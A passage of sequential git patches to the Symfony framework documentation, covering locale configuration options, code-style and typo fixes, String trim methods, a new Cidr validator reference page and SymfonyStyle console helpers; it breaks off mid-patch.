Subject: [PATCH 1247/5766] [HttpKernel] Add basic support for language
 negotiation

---
 performance.rst                       |   4 +-
 reference/configuration/framework.rst | 129 +++++++++++++++++---------
 2 files changed, 86 insertions(+), 47 deletions(-)

diff --git a/performance.rst b/performance.rst
index 620b76c01b2..e9d1b5558d6 100644
--- a/performance.rst
+++ b/performance.rst
@@ -43,7 +43,7 @@ features, such as the APCu Cache adapter.
 Restrict the Number of Locales Enabled in the Application
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Use the :ref:`framework.translator.enabled_locales <reference-translator-enabled-locales>`
+Use the :ref:`framework.enabled_locales <reference-enabled-locales>`
 option to only generate the translation files actually used in your application.
 
 .. _performance-service-container-single-file:
@@ -115,7 +115,7 @@ Symfony generates a file with the list of classes to preload in the
 
     ; php.ini
     opcache.preload=/path/to/project/config/preload.php
-    
+
     ; required for opcache.preload:
     opcache.preload_user=www-data
 
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index ddaed96d025..cebff51e16f 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -282,6 +282,87 @@ method.
     You can read more information about the default locale in
     :ref:`translation-default-locale`.
 
+.. _reference-enabled-locales:
+
+enabled_locales
+...............
+
+**type**: ``array`` **default**: ``[]`` (empty array = enable all locales)
+
+.. versionadded:: 5.1
+
+    The ``enabled_locales`` option was introduced in Symfony 5.1.
+
+Symfony applications generate by default the translation files for validation
+and security messages in all locales. If your application only uses some
+locales, use this option to restrict the files generated by Symfony and improve
+performance a bit:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/translation.yaml
+        framework:
+            enabled_locales: ['en', 'es']
+
+    .. code-block:: xml
+
+        <!-- config/packages/translation.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <enabled-locale>en</enabled-locale>
+                <enabled-locale>es</enabled-locale>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/translation.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->enabledLocales(['en', 'es']);
+        };
+
+If some user makes requests with a locale not included in this option, the
+application won't display any error because Symfony will display contents using
+the fallback locale.
+
+set_content_language_from_locale
+...............
+
+**type**: ``boolean`` **default**: ``false``
+
+.. versionadded:: 5.4
+
+    The ``set_content_language_from_locale`` option was introduced in Symfony 5.4.
+
+If this option is set to ``true``, the response will have a ``Content-Language``
+HTTP header set with the ``Request`` locale.
+
+set_locale_from_accept_language
+...............
+
+**type**: ``boolean`` **default**: ``false``
+
+.. versionadded:: 5.4
+
+    The ``set_locale_from_accept_language`` option was introduced in Symfony 5.4.
+
+The ``Request`` locale will automatically be set to the value of the
+``Accept-Language`` HTTP header.
+
+When the ``_locale`` request attribute is passed, the ``Accept-Language`` header
+is ignored.
+
 disallow_search_engine_index
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -2142,52 +2223,10 @@ enabled_locales
 
     The ``enabled_locales`` option was introduced in Symfony 5.1.
 
-Symfony applications generate by default the translation files for validation
-and security messages in all locales. If your application only uses some
-locales, use this option to restrict the files generated by Symfony and improve
-performance a bit:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/translation.yaml
-        framework:
-            translator:
-                enabled_locales: ['en', 'es']
-
-    .. code-block:: xml
+.. deprecated:: 5.4
 
-        <!-- config/packages/translation.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:framework="http://symfony.com/schema/dic/symfony"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
-
-            <framework:config>
-                <framework:translator>
-                    <enabled-locale>en</enabled-locale>
-                    <enabled-locale>es</enabled-locale>
-                </framework:translator>
-            </framework:config>
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/translation.php
-        use Symfony\Config\FrameworkConfig;
-
-        return static function (FrameworkConfig $framework) {
-            $framework->translator()
-                ->enabledLocales(['en', 'es']);
-        };
-
-If some user makes requests with a locale not included in this option, the
-application won't display any error because Symfony will display contents using
-the fallback locale.
+    Using `framework.translator.enabled_locales` has been deprecated in favour of
+    :ref:`framework.enabled_locales <reference-enabled-locales>` since Symfony 5.4.
 
 .. _fallback:
 

From cd44e91610893e02b47b9702570d17b16a050087 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 19 Oct 2021 15:27:27 +0200
Subject: [PATCH 1248/5766] Minor tweak

---
 reference/configuration/framework.rst | 9 +++++----
 1 file changed, 5 insertions(+), 4 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index cebff51e16f..dc908b65407 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -282,6 +282,7 @@ method.
     You can read more information about the default locale in
     :ref:`translation-default-locale`.
 
+.. _reference-translator-enabled-locales:
 .. _reference-enabled-locales:
 
 enabled_locales
@@ -337,7 +338,7 @@ application won't display any error because Symfony will display contents using
 the fallback locale.
 
 set_content_language_from_locale
-...............
+................................
 
 **type**: ``boolean`` **default**: ``false``
 
@@ -349,7 +350,7 @@ If this option is set to ``true``, the response will have a ``Content-Language``
 HTTP header set with the ``Request`` locale.
 
 set_locale_from_accept_language
-...............
+...............................
 
 **type**: ``boolean`` **default**: ``false``
 
@@ -357,8 +358,8 @@ set_locale_from_accept_language
 
     The ``set_locale_from_accept_language`` option was introduced in Symfony 5.4.
 
-The ``Request`` locale will automatically be set to the value of the
-``Accept-Language`` HTTP header.
+If this option is set to ``true``, the ``Request`` locale will automatically be
+set to the value of the ``Accept-Language`` HTTP header.
 
 When the ``_locale`` request attribute is passed, the ``Accept-Language`` header
 is ignored.

From 69cfed5cb4f82e7fde23b488f44dfd00932ae83f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 19 Oct 2021 15:32:47 +0200
Subject: [PATCH 1249/5766] Minor syntax fix

---
 reference/configuration/framework.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index dc908b65407..0cd3cae2e8e 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2226,7 +2226,7 @@ enabled_locales
 
 .. deprecated:: 5.4
 
-    Using `framework.translator.enabled_locales` has been deprecated in favour of
+    Using ``framework.translator.enabled_locales`` has been deprecated in favor of
     :ref:`framework.enabled_locales <reference-enabled-locales>` since Symfony 5.4.
 
 .. _fallback:

From 22e8df0daa26b5b8fb5952f290f01a40e833361f Mon Sep 17 00:00:00 2001
From: Lauri <laurilaks@protonmail.com>
Date: Tue, 19 Oct 2021 16:10:26 +0300
Subject: [PATCH 1250/5766] Fix opening brace style

The opening brace should go on the same line like it is for another function (is_leap_year) in the same page.
---
 create_framework/templating.rst | 6 ++----
 1 file changed, 2 insertions(+), 4 deletions(-)

diff --git a/create_framework/templating.rst b/create_framework/templating.rst
index 4ae746e1c91..45fc99e0452 100644
--- a/create_framework/templating.rst
+++ b/create_framework/templating.rst
@@ -38,8 +38,7 @@ that renders a template when there is no specific logic. To keep the same
 template as before, request attributes are extracted before the template is
 rendered::
 
-    function render_template($request)
-    {
+    function render_template($request) {
         extract($request->attributes->all(), EXTR_SKIP);
         ob_start();
         include sprintf(__DIR__.'/../src/pages/%s.php', $_route);
@@ -106,8 +105,7 @@ Here is the updated and improved version of our framework::
     use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Routing;
 
-    function render_template($request)
-    {
+    function render_template($request) {
         extract($request->attributes->all(), EXTR_SKIP);
         ob_start();
         include sprintf(__DIR__.'/../src/pages/%s.php', $_route);

From 0c9b2fa8be4182e4b90b55a85ce7ddab8d09bd4a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 19 Oct 2021 16:41:39 +0200
Subject: [PATCH 1251/5766] Fix code style

---
 create_framework/templating.rst | 9 ++++++---
 1 file changed, 6 insertions(+), 3 deletions(-)

diff --git a/create_framework/templating.rst b/create_framework/templating.rst
index 45fc99e0452..972f2a1f982 100644
--- a/create_framework/templating.rst
+++ b/create_framework/templating.rst
@@ -38,7 +38,8 @@ that renders a template when there is no specific logic. To keep the same
 template as before, request attributes are extracted before the template is
 rendered::
 
-    function render_template($request) {
+    function render_template($request)
+    {
         extract($request->attributes->all(), EXTR_SKIP);
         ob_start();
         include sprintf(__DIR__.'/../src/pages/%s.php', $_route);
@@ -105,7 +106,8 @@ Here is the updated and improved version of our framework::
     use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Routing;
 
-    function render_template($request) {
+    function render_template($request)
+    {
         extract($request->attributes->all(), EXTR_SKIP);
         ob_start();
         include sprintf(__DIR__.'/../src/pages/%s.php', $_route);
@@ -143,7 +145,8 @@ framework does not need to be modified in any way, create a new
     use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Routing;
 
-    function is_leap_year($year = null) {
+    function is_leap_year($year = null)
+    {
         if (null === $year) {
             $year = date('Y');
         }

From f1c375cb3e35b649095c6a4d3c13258146d4bb4e Mon Sep 17 00:00:00 2001
From: Abdouni Abdelkarim <abdounikarim@gmail.com>
Date: Tue, 19 Oct 2021 20:09:25 +0200
Subject: [PATCH 1252/5766] Update security.rst

Hello, I updated the docs to use the `hashPassword` method from the `Symfony\Component\PasswordHasher\Hasher\UserPasswordHasherInterface` class.
---
 security.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index e1e1b106656..8d55515b692 100644
--- a/security.rst
+++ b/security.rst
@@ -473,7 +473,7 @@ the database::
             $plaintextPassword = ...;
 
             // hash the password (based on the security.yaml config for the $user class)
-            $hashedPassword = $passwordHasher->hash(
+            $hashedPassword = $passwordHasher->hashPassword(
                 $user,
                 $plaintextPassword
             );

From 9cb23a5b8489b5fb1bf65601c511d63d8ba1a5c0 Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Tue, 19 Oct 2021 20:55:51 +0200
Subject: [PATCH 1253/5766] [Form] Minor fixes

I found two comments that point to the wrong variable.
---
 form/unit_testing.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/form/unit_testing.rst b/form/unit_testing.rst
index 33ef7bd4ca4..4c28078954f 100644
--- a/form/unit_testing.rst
+++ b/form/unit_testing.rst
@@ -55,7 +55,7 @@ The simplest ``TypeTestCase`` implementation looks like the following::
             ];
 
             $model = new TestObject();
-            // $formData will retrieve data from the form submission; pass it as the second argument
+            // $model will retrieve data from the form submission; pass it as the second argument
             $form = $this->factory->create(TestedType::class, $model);
 
             $expected = new TestObject();
@@ -67,7 +67,7 @@ The simplest ``TypeTestCase`` implementation looks like the following::
             // This check ensures there are no transformation failures
             $this->assertTrue($form->isSynchronized());
 
-            // check that $formData was modified as expected when the form was submitted
+            // check that $model was modified as expected when the form was submitted
             $this->assertEquals($expected, $model);
         }
 
@@ -88,7 +88,7 @@ The simplest ``TypeTestCase`` implementation looks like the following::
 So, what does it test? Here comes a detailed explanation.
 
 First you verify if the ``FormType`` compiles. This includes basic class
-inheritance, the ``buildForm()`` function and options resolution. This should
+inheritance, the ``buildForm()`` method and options resolution. This should
 be the first test you write::
 
     $form = $this->factory->create(TestedType::class, $formData);

From c9920b570ad58efecbf1ec28ed8375aa25423bfc Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Tue, 19 Oct 2021 21:12:38 +0200
Subject: [PATCH 1254/5766] [Form] Minor fix

---
 form/multiple_buttons.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/form/multiple_buttons.rst b/form/multiple_buttons.rst
index 74d430b4bb8..c8b1fc5145b 100644
--- a/form/multiple_buttons.rst
+++ b/form/multiple_buttons.rst
@@ -6,7 +6,7 @@ How to Submit a Form with Multiple Buttons
 
 When your form contains more than one submit button, you will want to check
 which of the buttons was clicked to adapt the program flow in your controller.
-To do this, add a second button with the caption "Save and add" to your form::
+To do this, add a second button with the caption "Save and Add" to your form::
 
     $form = $this->createFormBuilder($task)
         ->add('task', TextType::class)
@@ -17,7 +17,7 @@ To do this, add a second button with the caption "Save and add" to your form::
 
 In your controller, use the button's
 :method:`Symfony\\Component\\Form\\ClickableInterface::isClicked` method for
-querying if the "Save and add" button was clicked::
+querying if the "Save and Add" button was clicked::
 
     if ($form->isSubmitted() && $form->isValid()) {
         // ... perform some action, such as saving the task to the database

From dea0e3654536d1915f96a3d9636694ba866950b8 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Wed, 20 Oct 2021 08:48:15 +0200
Subject: [PATCH 1255/5766] Tweak a bit the core team application/revocation
 paragraphs

---
 contributing/code/core_team.rst | 5 +----
 1 file changed, 1 insertion(+), 4 deletions(-)

diff --git a/contributing/code/core_team.rst b/contributing/code/core_team.rst
index 136edb28dbb..11e975d75e1 100644
--- a/contributing/code/core_team.rst
+++ b/contributing/code/core_team.rst
@@ -111,7 +111,7 @@ Symfony contributions:
 Core Membership Application
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-At present, new Symfony Core membership applications are not accepted.
+About once a year, the core team discuss the opportunity to invite new members.
 
 Core Membership Revocation
 ~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -123,9 +123,6 @@ A Symfony Core membership can be revoked for any of the following reasons:
 * Willful negligence or intent to harm the Symfony project;
 * Upon decision of the **Project Leader**.
 
-Should new Symfony Core memberships be accepted in the future, revoked
-members must wait at least 12 months before re-applying.
-
 Code Development Rules
 ----------------------
 

From 618c0bca8219988b365faac9933cd005a3cd0d29 Mon Sep 17 00:00:00 2001
From: Serhey Dolgushev <dolgushev.serhey@gmail.com>
Date: Wed, 20 Oct 2021 09:58:14 +0100
Subject: [PATCH 1256/5766] Use s-maxage instead of max-age for ESI

---
 http_cache/esi.rst | 5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

diff --git a/http_cache/esi.rst b/http_cache/esi.rst
index a166a01762e..7229608665e 100644
--- a/http_cache/esi.rst
+++ b/http_cache/esi.rst
@@ -174,9 +174,8 @@ of the main page::
     {
         public function latest($maxPerPage)
         {
-            // ...
-            $response->setPublic();
-            $response->setMaxAge(60);
+            // sets to public and adds some expiration
+            $response->setSharedMaxAge(60);
 
             return $response;
         }

From cc31cf4d5356bc668d0ff18da25068f0f196b032 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 19 Oct 2021 17:28:59 +0200
Subject: [PATCH 1257/5766] [String] Document trimPrefix() and trimSufix()
 methods

---
 components/string.rst | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/components/string.rst b/components/string.rst
index 48f17f0b3e9..e4901d9591c 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -306,6 +306,16 @@ Methods to Pad and Trim
     u('   Lorem Ipsum   ')->trimStart(); // 'Lorem Ipsum   '
     u('   Lorem Ipsum   ')->trimEnd();   // '   Lorem Ipsum'
 
+    // removes the given content(s) from the start/end of the string
+    u('file-0001.png')->trimPrefix('file-');                 // '0001.png'
+    u('file-0001.png')->trimPrefix(['file-', 'image-']);     // '0001.png'
+    u('template.html.twig')->trimSuffix('.twig');            // 'template.html'
+    u('template.html.twig')->trimSuffix(['.twig', '.html']); // 'template'
+
+.. versionadded:: 5.4
+
+    The ``trimPrefix()`` and ``trimSuffix()`` methods were introduced in Symfony 5.4.
+
 Methods to Search and Replace
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From 6a763a8a30501890a9549b881d57d78f1f850875 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 20 Oct 2021 12:20:09 +0200
Subject: [PATCH 1258/5766] Remove the versionadded directive

---
 components/string.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/components/string.rst b/components/string.rst
index c9c2c7c4cd7..73736cbf749 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -300,10 +300,6 @@ Methods to Pad and Trim
     u('template.html.twig')->trimSuffix('.twig');            // 'template.html'
     u('template.html.twig')->trimSuffix(['.twig', '.html']); // 'template'
 
-.. versionadded:: 5.4
-
-    The ``trimPrefix()`` and ``trimSuffix()`` methods were introduced in Symfony 5.4.
-
 Methods to Search and Replace
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From 4935481eed5d1882276314cecd81b8b54aca73fa Mon Sep 17 00:00:00 2001
From: Jeroen <4200784+JeroenMoonen@users.noreply.github.com>
Date: Wed, 20 Oct 2021 10:40:23 +0200
Subject: [PATCH 1259/5766] Remove double quotes in console.rst

Remove double quotes in console.rst
---
 console.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/console.rst b/console.rst
index ad47c0c6879..f3d7abddc3a 100644
--- a/console.rst
+++ b/console.rst
@@ -406,7 +406,7 @@ console::
 .. note::
 
     When using the Console component in a standalone project, use
-    :class:`Symfony\\Component\\Console\\Application <Symfony\\Component\\Console\\Application>`
+    :class:`Symfony\\Component\\Console\\Application <Symfony\Component\Console\Application>`
     and extend the normal ``\PHPUnit\Framework\TestCase``.
 
 Logging Command Errors

From a2b9341cfd6ae8dd3262c79d57f03cfd5eef70b4 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 20 Oct 2021 12:32:42 +0200
Subject: [PATCH 1260/5766] Tweak

---
 console.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/console.rst b/console.rst
index f3d7abddc3a..20574b05f91 100644
--- a/console.rst
+++ b/console.rst
@@ -406,7 +406,7 @@ console::
 .. note::
 
     When using the Console component in a standalone project, use
-    :class:`Symfony\\Component\\Console\\Application <Symfony\Component\Console\Application>`
+    :class:`Symfony\\Component\\Console\\Application`
     and extend the normal ``\PHPUnit\Framework\TestCase``.
 
 Logging Command Errors

From 38bfd690c85458a61f6b37410f273d89c1b65149 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 20 Oct 2021 15:46:58 +0200
Subject: [PATCH 1261/5766] [String] Fix the explanation of trimPrefix and
 trimSuffix

---
 components/string.rst | 13 +++++++++----
 1 file changed, 9 insertions(+), 4 deletions(-)

diff --git a/components/string.rst b/components/string.rst
index e4901d9591c..d9d533880f9 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -306,11 +306,16 @@ Methods to Pad and Trim
     u('   Lorem Ipsum   ')->trimStart(); // 'Lorem Ipsum   '
     u('   Lorem Ipsum   ')->trimEnd();   // '   Lorem Ipsum'
 
-    // removes the given content(s) from the start/end of the string
-    u('file-0001.png')->trimPrefix('file-');                 // '0001.png'
-    u('file-0001.png')->trimPrefix(['file-', 'image-']);     // '0001.png'
+    // removes the given content from the start/end of the string
+    u('file-image-0001.png')->trimPrefix('file-');           // 'image-0001.png'
+    u('file-image-0001.png')->trimPrefix('image-');          // 'file-image-0001.png'
+    u('file-image-0001.png')->trimPrefix('file-image-');     // '0001.png'
+    u('template.html.twig')->trimSuffix('.html');            // 'template.html.twig'
     u('template.html.twig')->trimSuffix('.twig');            // 'template.html'
-    u('template.html.twig')->trimSuffix(['.twig', '.html']); // 'template'
+    u('template.html.twig')->trimSuffix('.html.twig');       // 'template'
+    // when passing an array of prefix/sufix, only the first one found is trimmed
+    u('file-image-0001.png')->trimPrefix(['file-', 'image-']); // 'image-0001.png'
+    u('template.html.twig')->trimSuffix(['.twig', '.html']);   // 'template.html'
 
 .. versionadded:: 5.4
 

From cc46616e29409540c922167a903780f2b5303b45 Mon Sep 17 00:00:00 2001
From: JohJohan <johan.vlaar.1994@gmail.com>
Date: Wed, 20 Oct 2021 20:05:30 +0200
Subject: [PATCH 1262/5766] [FrameworkBundle] 15751 add documentation for
 assertThatForClient

---
 testing.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/testing.rst b/testing.rst
index 1fe8e409a69..00103c6f48c 100644
--- a/testing.rst
+++ b/testing.rst
@@ -922,6 +922,8 @@ Browser Assertions
 ``assertBrowserCookieValueSame(string $name, string $expectedValue, string $path = '/', string $domain = null, string $message = '')``
     Asserts the given cookie in the test Client is set to the expected
     value.
+``assertThatForClient(Constraint $constraint, string $message = '')``
+    Asserts the given Constraint in Client.
 
 Crawler Assertions
 ..................

From 797cc1aca65f76ffb867b99b025fcee12bdf8532 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Thu, 21 Oct 2021 00:10:12 +0200
Subject: [PATCH 1263/5766] Typo

---
 form/bootstrap5.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/form/bootstrap5.rst b/form/bootstrap5.rst
index 599f49bcb47..aa9670afd4f 100644
--- a/form/bootstrap5.rst
+++ b/form/bootstrap5.rst
@@ -85,7 +85,7 @@ If you prefer to apply the Bootstrap styles on a form to form basis, include the
 
     By default, all inputs are rendered with the ``mb-3`` class on their
     container. If you override the ``row_attr`` class option, the ``mb-3`` will
-    be override too and you will need to explicitly add it.
+    be overriden too and you will need to explicitly add it.
 
 Error Messages
 --------------

From 35b4589075ab3cea19e9e8c65521fad34c58527b Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Thu, 21 Oct 2021 00:14:28 +0200
Subject: [PATCH 1264/5766] Fixing typos

---
 form/bootstrap5.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/form/bootstrap5.rst b/form/bootstrap5.rst
index 599f49bcb47..458dbf7fee4 100644
--- a/form/bootstrap5.rst
+++ b/form/bootstrap5.rst
@@ -103,9 +103,9 @@ Due to Bootstrap internals, the label is already rendered by ``form_widget()``.
 Inline Checkboxes and Radios
 ----------------------------
 
-If you want to render your checkboxes or radios fields `inline`_, you can add
-the ``checkbox-inline`` or ``radio-inline`` class, depending of your Symfony
-Form type or ``ChoiceType`` configuration, to the label class.
+If you want to render your checkbox or radio fields `inline`_, you can add
+the ``checkbox-inline`` or ``radio-inline`` class (depending on your Symfony
+Form type or ``ChoiceType`` configuration) to the label class.
 
 .. configuration-block::
 

From 16de4a9f8a7620b04abec7fd7fd2282fe7d09f48 Mon Sep 17 00:00:00 2001
From: popsorin <popsorin15@gmail.com>
Date: Thu, 21 Oct 2021 15:21:37 +0300
Subject: [PATCH 1265/5766]  [Validator] Add documentation for the
 CidrValidator

---
 reference/constraints/Cidr.rst | 155 +++++++++++++++++++++++++++++++++
 1 file changed, 155 insertions(+)
 create mode 100644 reference/constraints/Cidr.rst

diff --git a/reference/constraints/Cidr.rst b/reference/constraints/Cidr.rst
new file mode 100644
index 00000000000..8f415162437
--- /dev/null
+++ b/reference/constraints/Cidr.rst
@@ -0,0 +1,155 @@
+Cidr
+==
+
+Validates that a value is a valid CIDR notation. By default, this will validate
+the CIDR's IP and netmask both for version 4 and version 6, with the option of allowing
+only one type of IP version to be valid. It also supports a minimum and maximum range
+constraint in which the value of the netmask is valid.
+
+==========  ===================================================================
+Applies to  :ref:`property or method <validation-property-target>`
+Options     - `groups`_
+            - `message`_
+            - `netmaskRangeViolationMessage`_
+            - `payload`_
+            - `version`_
+Class       :class:`Symfony\\Component\\Validator\\Constraints\\Cidr`
+Validator   :class:`Symfony\\Component\\Validator\\Constraints\\CidrValidator`
+==========  ===================================================================
+
+Basic Usage
+-----------
+
+.. configuration-block::
+
+    .. code-block:: php-annotations
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            /**
+             * @Assert\Cidr
+             */
+            protected $cidrNotation;
+        }
+
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\Cidr]
+            protected $cidrNotation;
+        }
+
+    .. code-block:: yaml
+
+        # config/validator/validation.yaml
+        App\Entity\Author:
+            properties:
+                cidrNotation:
+                    - Cidr: ~
+
+    .. code-block:: xml
+
+        <!-- config/validator/validation.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd">
+
+            <class name="App\Entity\Author">
+                <property name="cidrNotation">
+                    <constraint name="Cidr"/>
+                </property>
+            </class>
+        </constraint-mapping>
+
+    .. code-block:: php
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+        use Symfony\Component\Validator\Mapping\ClassMetadata;
+
+        class Author
+        {
+            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            {
+                $metadata->addPropertyConstraint('cidrNotation', new Assert\Cidr());
+            }
+        }
+
+.. include:: /reference/constraints/_empty-values-are-valid.rst.inc
+
+Options
+-------
+
+.. include:: /reference/constraints/_groups-option.rst.inc
+
+``message``
+~~~~~~~~~~~
+
+**type**: ``string`` **default**: ``This value is not a valid CIDR notation.``
+
+This message is shown if the string is not a valid CIDR notation.
+
+``netmaskMin``
+~~~~~~~~~~~
+
+**type**: ``integer`` **default**: ``0``
+
+It's a constraint for the lowest value a valid netmask may have.
+
+``netmaskMax``
+~~~~~~~~~~~
+
+**type**: ``string`` **default**: ``32 for IPv4 or 128 for IPv6``
+
+It's a constraint for the biggest value a valid netmask may have.
+
+``netmaskRangeViolationMessage``
+~~~~~~~~~~~
+
+**type**: ``string`` **default**: ``The value of the netmask should be between {{ min }} and {{ max }}.``
+
+This message is shown if the value of the CIDR's netmask is bigger then the value of the `max_` or lower than
+the value of the `min_`.
+
+You can use the following parameters in this message:
+
+===============  ==============================================================
+Parameter        Description
+===============  ==============================================================
+``{{ min }}``  The minimum value a CIDR netmask may have
+``{{ max }}``  The maximum value a CIDR netmask may have
+===============  ==============================================================
+
+.. include:: /reference/constraints/_payload-option.rst.inc
+
+``version``
+~~~~~~~~~~~
+
+**type**: ``string`` **default**: ``all``
+
+This determines exactly *how* the CIDR notation is validated and can take one
+of a variety of different values:
+
+**All ranges**
+
+``4``
+    Validates for CIDR notations that have an IPv4.
+``6``
+    Validates for CIDR notations that have an IPv6.
+``all``
+    Validates all CIDR formats
+

From 2d2f03578acc35c2ef423618cc885ea676cd3861 Mon Sep 17 00:00:00 2001
From: Kevin Bond <kevinbond@gmail.com>
Date: Thu, 21 Oct 2021 08:58:39 -0400
Subject: [PATCH 1266/5766] document SymfonyStyle additions

---
 console/style.rst | 26 ++++++++++++++++++++++++++
 1 file changed, 26 insertions(+)

diff --git a/console/style.rst b/console/style.rst
index c680e3703df..5dc5f24fca8 100644
--- a/console/style.rst
+++ b/console/style.rst
@@ -165,6 +165,14 @@ Content Methods
             ['foo4' => 'bar4']
         );
 
+:method:`Symfony\\Component\\Console\\Style\\SymfonyStyle::createTable`
+    Creates an instance of :class:`Symfony\\Component\\Console\\Helper\\Table`
+    styled according to the Symfony Style Guide.
+
+.. versionadded:: 5.4
+
+    The ``createTable()`` method was introduced in Symfony 5.4.
+
 :method:`Symfony\\Component\\Console\\Style\\SymfonyStyle::newLine`
     It displays a blank line in the command output. Although it may seem useful,
     most of the times you won't need it at all. The reason is that every helper
@@ -243,6 +251,24 @@ Progress Bar Methods
 
         $io->progressFinish();
 
+:method:`Symfony\\Component\\Console\\Style\\SymfonyStyle::progressIterate`
+    If your progress bar loops over an iterable collection, use the
+    ``progressIterate()`` helper::
+
+        $iterable = [1, 2];
+
+        foreach ($io->progressIterate($iterable) as $value) {
+            // ... do some work
+        }
+
+.. versionadded:: 5.4
+
+    The ``progressIterate`` method was introduced in Symfony 5.4.
+
+:method:`Symfony\\Component\\Console\\Style\\SymfonyStyle::createProgressBar`
+    Creates an instance of :class:`Symfony\\Component\\Console\\Helper\\ProgressBar`
+    styled according to the Symfony Style Guide.
+
 User Input Methods
 ~~~~~~~~~~~~~~~~~~
 

From 54622e6331c65db57c33362b546e09d7212c17c2 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 22 Oct 2021 01:26:47 +0200
Subject: [PATCH 1267/5766] Removing duplicate "Bootstrap 4 form theme"

---
 form/form_customization.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/form/form_customization.rst b/form/form_customization.rst
index 654dfaa2a7e..61afcdd1130 100644
--- a/form/form_customization.rst
+++ b/form/form_customization.rst
@@ -257,8 +257,8 @@ Renders any errors for the given field.
 
 .. caution::
 
-    In the Bootstrap 4 form theme, ``form_errors()`` is already included
-    in ``form_label()``, see ":ref:`reference-forms-bootstrap-error-messages`"
